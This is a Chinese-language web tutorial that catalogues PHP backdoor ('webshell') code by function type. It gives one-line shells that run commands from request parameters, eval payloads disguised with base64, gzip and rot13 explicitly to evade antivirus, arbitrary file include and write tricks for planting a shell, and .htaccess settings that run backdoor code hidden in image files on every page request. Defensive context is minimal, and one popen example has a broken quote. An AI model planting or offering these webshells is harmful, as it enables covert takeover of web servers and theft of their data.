好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

php后门木马常用命令分析 - 网站安全 - 自学php

php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?   php后门木马常用的函数大致上可分为四种类型:   1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open   2. 代码执行与 加密 : eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13   3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite   4. .htaccess: SetHandler, auto_prepend_file, auto_append_file   1. 执行 系统 命令:   system 函数   //test.php?cmd=ls   system($_GET[cmd]);   passthru 函数   //test.php?cmd=ls   passthru($_GET[cmd]);   shell_exec 函数   //test.php?cmd=ls   echo shell_exec($_GET[cmd]);   exec 函数   //test.php?cmd=ls   $arr = array();   exec($_GET[cmd],$arr);   print_r($arr);   popen 函数   //test.php?cmd=ls   $handle = popen('$_GET[cmd], 'r');   $read = fread($handle, 2096);   echo $read;   pclose($handle);   proc_open 函数   //test.php?cmd=ls   $descriptorspec = array(          0 => array('pipe', 'r'),          1 => array('pipe', 'w'),          2 => array('pipe', 'w'),       );   $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);   fclose($pipes[0]);   $output = array();   while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));   print_r($output);   2. 代码执行与加密:   eval 函数   //最常见的一句话木马   eval($_POST[cmd]);   base64_decode 函数   //为了免杀及隐藏而加密代码   //密文: eval($_POST['cmd']);   eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));   gzinflate 函数   //为了免杀及隐藏而加密代码   //密文: eval($_POST['cmd']);   eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));   gzuncompress 函数   //为了免杀及隐藏而加密代码   //密文: eval($_POST['cmd']);   eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));   gzdecode 函数   //为了免杀及隐藏而加密代码   //密文: eval($_POST['cmd']);   eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));   str_rot13 函数   //为了免杀及隐藏而加密代码   //密文: eval($_POST[cmd]);   eval(str_rot13('riny($_CBFG[pzq]);'));   assert 函数   //类似eval函数   assert($_POST[cmd]);   call_user_func 函数   //使用call_user_func调用assert   call_user_func('assert',$_POST[cmd]);   call_user_func 函数   //使用call_user_func调用任意函数   //test.php?a=assert&cmd=phpinfo()   call_user_func($_GET[a],$_REQUEST[cmd]);   组合代码   //组合方式调用任意函数   //test.php?a=assert&cmd=phpinfo()   $_GET[a]($_REQUEST[cmd]);   3. 文件包含与生成:   require 函数   //包含任意文件   //test.php?file=123.jpg   require($_GET[file]);   require_once 函数   //包含任意文件   //test.php?file=123.jpg   require_once($_GET[file]);   include 函数   //包含任意文件 www.2cto.com   //test.php?file=123.jpg   include($_GET[file]);   include_once 函数   //包含任意文件   //test.php?file=123.jpg   include_once($_GET[file]);   file_get_contents 函数   //读取任意文件   //test.php?f=config.inc.php   echo file_get_contents($_GET['f']);   file_put_contents 函数   //生成任意内容文件   //a=test.php&b=<?php eval($_POST[cmd]);?>   file_put_contents($_GET[a],$_GET[b]);   fputs 函数   //生成任意内容文件   //a=test.php&b=<?php eval($_POST[cmd]);?>   fputs(fopen($_GET[a],"w"),$_GET[b]);   4. .htaccess:   SetHandler   //可将php代码存于非php后缀文件,例: x.jpg   //将以下代码写入.htaccess中   //连接x.jpg即可启动后门木马   <FilesMatch "x.jpg">   SetHandler application/x-httpd-php   </FilesMatch>   auto_prepend_file   //可将php代码存于非php后缀文件,例: 123.gif   //将以下代码写入.htaccess中, 文件路径必须是绝对路径   //访问网站上任何php文件都会启动该php后门木马   //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马   php_value auto_prepend_file c:/apache2/htdocs/123.gif   auto_append_file   //类似auto_prepend_file   //可将php代码存于非php后缀文件,例: 123.gif   //将以下代码写入.htaccess中, 文件路径必须是绝对路径   //访问网站上任何php文件都会启动该php后门木马   php_value auto_append_file c:/apache2/htdocs/123.gif

查看更多关于php后门木马常用命令分析 - 网站安全 - 自学php的详细内容...

  阅读:39次